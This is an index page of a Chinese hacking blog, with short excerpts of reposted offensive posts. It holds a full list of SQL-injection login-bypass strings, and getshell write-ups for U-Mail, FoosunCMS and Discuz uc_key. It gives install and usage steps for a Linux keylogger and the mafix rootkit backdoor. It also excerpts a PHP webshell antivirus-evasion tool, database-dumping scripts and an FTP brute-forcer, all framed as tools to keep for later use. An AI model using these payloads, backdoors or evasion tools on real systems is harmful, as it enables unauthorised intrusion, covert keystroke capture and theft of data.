KBK影院的博客_安全,病毒木马,黑客攻防,exp,0day,工具搜集(1)

详细讲解双查询注入

上一篇文章中，http://leaver.me/archives/2726.html我说双查询很难讲清楚，这次就试着讲一下。读了一些原理性的东西。然后尽量通俗的给大家讲清楚。。在此之前，我们理解一下子查询，查询的关键字是select，这个大家都知道。子查询可以简单的理解在一个select语句里还有一个select。里面的这个select语句就是子查询。看一个简单的例子：Select co

双查询注入

转载精选 2015-03-22 14:44:26 1348 阅读 1评论

根据字符串长度排序

awk '{print length($0),$0}' urfile | sort -k1,1nr | cut -d' ' -f2

字符串

排序

原创 2015-01-21 20:35:16 954 阅读

U-mail邮件系统又一getshell

漏洞作者：路人甲U-mail邮件系统某处处理不当，导致getshell详细说明：版本：U-Mail for Windows V9.8.57测试帐号：hello0001@fuck.com测试主机：windows server 2003+IIS6 [windows主机配置都为邮件系统默认配置]首先需要获取用户的UserID，因为其缓存目录路径为 umail\WorldClient\html

Windows

转载精选 2015-01-06 13:22:18 995 阅读

万能密码汇总

1："or "a"="a2： ')or('a'='a3：or 1=1--4：'or 1=1--5：a'or' 1=1--6："or 1=1--7：'or'a'='a8："or"="a'='a9：'or''='10：'or'='or'11:'or'1'='1'or'1'='1 1'or'1'='1 (网新)12：最短的万能登陆密码 'or'113：'or 1 or'或'or''=''or'

密码

转载精选 2014-12-09 11:44:32 1531 阅读

不允许常规上传时。。（当站点有人检测过怎么查看马儿的内容）

上传

转载精选 2014-12-09 11:41:39 615 阅读

vpn内网端口转发外网一键安装

#!/bin/bash echo "#########################################################" echo " &nbs

vpn

端口转发

转载精选 2014-12-09 11:33:45 1170 阅读

is marked as crashed and last (automatic?) repair解决办法

修复数据表操MYSQL数据表出现问题，提示：Error: Table './db_name/table_name' is marked as crashed and last (automatic?) repair failed修复数据表操作：1、service mysqld stop;2、cd /var/lib/mysql/db_name/3、myisamchk -r tablename.MYI

数据库

service

failed

数据表

repair

转载精选 2014-12-02 13:18:53 1510 阅读

FoosunCms getshell

在文件\User\award\awardAction.asp中：code 区域Integral=NoSqlHack(request.QueryString("Integral"))if action="join" then User_Conn.execute("Insert into FS_ME_User_Prize (prizeid,usernumber,awardID) values("&a

风讯

foosun

转载精选 2014-12-02 10:49:56 941 阅读

使用UC_KEY可重置论坛（除uid为1的）任意用户的密码

通过获取到的UC_KEY，即可重置论坛任意用户的密码，并清除安全提问。注意本重置任意用户密码的方法并不适用于uid为1的用户（即管理员），因为上会将本地的管理员用户覆盖，从而登陆不进去本地搭建的dz后台(重置管理员uid为1的方法后面讲)测试环境：目标站点：http://192.168.32.101/dz/。管理员jinglingshu，建了两个用户test1和test2。uc_key为B4s07

重置密码

uc_key

转载精选 2014-11-22 18:47:33 1563 阅读

Discuz X1.5 X2.5 X3 uc_key getshell

一、Discuz X1.5 X2.5 X3用uc_key来get webshelluc_key是UC客户端与服务端通信的通信密钥。因此使用uc_key来fetshell只能获取UCenter Client的webshell，即Discuiz！论坛的webshell。如果一个服务器上只有UCenter Server是不能通过uc_key来获取该服务器上的webshell的（不过可以通过uc_key来

getshell

uc_key

转载精选 2014-11-22 18:35:07 7138 阅读

discuz7.2 faq.php 最新注入漏洞分析

之前乌云上被提交的漏洞，今天突然被人发出来了，然后就各种中枪。奈何各种考试马上就来了，我也没工夫去写exp或脚本什么的，趁点休息时间把代码看看就好。实话说我很讨厌这种情况，一大堆人会的不会的拿着别人发的exp刷漏洞，刷分刷钱。不如静下心来分析一下漏洞产生的原因，也算是我吃不到葡萄在说葡萄酸吧，笑。因为有同学给出POC了，POC如下： &nb

discuz7.2 faq.php 最新

转载精选 2014-11-21 14:14:02 895 阅读

MS14-065各种版本的poc

Internet Explorer < 11 - OLE Automation Array Remote Code Execution//* allie(win95+ie3-win10+ie11) dve copy by yuange in 2009. cve-

Internet

Explorer

Error

function

转载精选 2014-11-21 13:55:41 1439 阅读

你敢用猎豹WIFI 我就敢入侵你的电脑

漏洞详情：当猎豹wifi运行后会向外网开放8735端口（运行web），而其某接口存在漏洞导致任意文件上传，从而导致pc机沦陷。http://电脑的IP:8735/tool/#uploadhttp://电脑的IP/api/replypic 存在漏洞导致任意文件上传漏洞危害：默认装C盘可以实现挂马，指定入侵，拓展大企业内网监控pc机等。昨天去电脑维修店修电脑。发现他的电脑开的猎豹WIFI

源代码

扫描器

电脑维修店

修电脑

猎豹

转载精选 2014-11-19 15:45:29 1488 阅读

linux删除两个文档中相同记录的行

文档1（a.txt）111222333444555666777888999文档2（b.txt）aaabbbcccdddeee111fff222333jjjkkk444整理后的文件三內容如下: (c.txt)aaabbbcccdddeeefffjjjkkk作法如下: 1.先合并两个文本到一个临时文件中

linux

记录

原创 2014-11-13 14:35:40 1397 阅读

ECSHOP全版本注入漏洞（二次注入）

把任意商品加入购物车在填写配送地址那一页，有地区选择flow.php?step=consignee&direct_shopping=1比如省选择安徽其中POST数据如下country=1&province=3&city=37&district=409&consignee=11111&email=11111111%40qq.com&addres

ecshop

转载精选 2014-11-10 13:55:12 1776 阅读

PHP script ftp manager 正式发布[转]

PHP SCRIPT FTPMANAGER 是使用全PHP代码开发,通过PHP管理FTP,不再为内网连不了FTP而烦恼.不需要安装FXP,也不需安装CUTEFTP,在网站上就可以进行管理了.实现功能如下:文件列表文件(文件夹)权限修改文件(文件夹)查看文件上传文件下载文件删除文件(文件夹)重命名空目录删除创建目录代码如下:<?php set_time_limit(0); ignore_use

ftp

转载精选 2014-11-09 19:40:56 577 阅读

linux下的键盘记录软件

安装：wget http://logkeys.googlecode.com/files/logkeys-0.1.1a.tar.gztar -xf logkeys-0.1.1awcd logkeys-0.1.1aw./configuremakemake checkmake install 使用：logkeys -s -u -o log.txt生成的记录文件在目录下的log.txt文本中。记

键盘记录

转载精选 2014-11-09 19:32:37 1135 阅读

mssql脱库脚本aspx版本

<%@ Page Language=”C#” %> <!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-trans

脱库脚本

原创 2014-11-09 19:30:19 1069 阅读

php shell超强免杀、减少体积工具

这不是webshell,只是个webshell免杀工具切勿当初webshell使用仅限免杀phpwebshell该工具运行在 cli 模式！如果有无法突破的文件内容过滤可尝试下用这个工具免杀大马！任意php webshell 通过此工具编码之后可以饶过国内一些bt的防火墙<?php /* Title: PHP shell nokill T00L B

php shell超强免杀

转载精选 2014-11-09 19:28:48 819 阅读

Web漏洞扫描器-UNISCAN 6.2发布

UNISCAN是老外写的一款基于Perl编写的web漏洞扫描器，目前版本为6.2。UNISCAN特点：通过爬虫识别网站页面多线程可控制线程的最大数量可控制爬虫爬取的页面可忽略指定文件扩展名可设置GET、POST方式支持SSL支持代理支持google搜索的站点列表支持bing搜索的站点列表支持扩展插件（动态测试、静态测试、压力测试）多语言支持支持GUI界面目录检查，类似wwwscan,可发现隐藏的目

UNISCAN

原创 2014-11-09 19:26:20 830 阅读

开源web漏洞扫描系统-IronWASP V0.9.1.4

IronWASP是一款开源的Web应用程序漏洞扫描系统，用户可以自定义安全扫描，并且可以自己用python/ruby来定义插件系统，来丰富漏洞测试项目，插件系统的语言版本是IronPython和IronRuby，语法上类似CPython和CRuby。IronWASP基于以下开源库开发FiddleCoreIronPythonIronRubyJintSystem.Data.SQLiteHtml Agi

开源web漏洞扫描系统

转载精选 2014-11-09 19:20:58 762 阅读

WEB安全扫描工具-NIkto 2.1.5发布

Nikto是一款开放源代码的、功能强大的WEB扫描评估软件，能对web服务器多种安全项目进行测试的扫描软件，能在230多种服务器上扫描出 2600多种有潜在危险的文件、CGI及其他问题，它可以扫描指定主机的WEB类型、主机名、特定目录、COOKIE、特定CGI漏洞、返回主机允许的 http模式等等。它也使用LibWhiske库，但通常比Whisker更新的更为频繁。Nikto是网管安全人员必备的W

nikto

扫描工具

转载精选 2014-11-09 19:18:42 864 阅读

Linux下rootkit后门

下载地址：点击下载tar zxvf mafix_rootkit.tar.gz 解压。进入目录并用root权限运行。安装rootkit 命令：./root 密码端口 (如: ./root xiaoma 99 那么下次连接的时候只需用putty连接它的99端口，用户名是root，密码为xiaoma)安装完成后会自动删除目录，为了隐蔽，用

rootkit后门

转载精选 2014-11-09 19:06:03 1202 阅读

jsp数据库脱裤脚本,脱各种数据库

jsp数据库脱裤脚本,脱各种数据库,先收藏再说,说不定以后用的上。mysql.jsp 脱mysql数据库，所有表全脱光<%@ page import="java.sql.*" %> <%@ page import="java.util.*" %> <%@ page import="java

其他

转载精选 2014-11-09 19:04:35 706 阅读

WebSploit Framework 2.0.3发布

WebSploit是一个开源安全扫描和分析系统。功能[>]Social Engineering Works[>]Scan,Crawler & Analysis Web[>]Automatic Exploiter[>]Support Network Attacks----[+]Autopwn - Used From Metasploit For Scan and Ex

WebSploit

原创 2014-11-09 18:59:03 879 阅读

Android无线安全测试工具-WiFinSpect

一款安卓上的无线安全测试工具，介绍都是英文的，大家自己去官网可以看下。我就直接上下载地址了。下载地址：点击下载也可以直接从Google Play里直接搜索WinFinSpect也能直接安装。

WiFinSpect

原创 2014-11-09 18:55:33 718 阅读

JBOSS服务器渗透测试工具—JBoss Autopwn

这个JBOSS脚本会在目标JBOSS服务器上部署一个JSP Shell，部署成功后，渗透测试人员可以获得一个交互式会话，可以进行命令执行等工作。主要特点:- 跨平台，支持 Windows, Linux和Mac- 支持绑定和反弹shell- 对Windows目标支持Meterpreter和VNC安装需求:- Netcat- Curl- Metasploit v3, installed in the

服务器

JBOSS

转载精选 2014-11-09 18:54:05 637 阅读

配置追踪者—Scylla v1(渗透测试工具)

Configuration Tracer”是形容Scylla最好的词汇——这个工具实现了oscanner, winfingerprint, Hydra, DirBuster的功能，并且还会做更多的事情。支持协议：Terminal (Telnet, SSH, telnets)FTP (FTPS, FTP, SFTP)SMB (Also Windows RPC)LDAPPOP3 (POP3S)SMTP

Scylla

转载精选 2014-11-09 18:50:57 547 阅读

Python FTP爆破脚本

#!/usr/local/bin/python #-*- coding: UTF-8 -*- #################################################################### #qq:316118740 #BLOG:http://hi.baidu.com/alalmn from ftplib

ftp

python

转载精选 2014-11-09 18:32:23 886 阅读

Python扫描IP段指定端口是否开放（一次扫描20个B网段没问题）

#!/usr/local/bin/python #-*- coding: UTF-8 -*- #################################################################### ################################################## #qq:316118740 #BL

端口扫描

super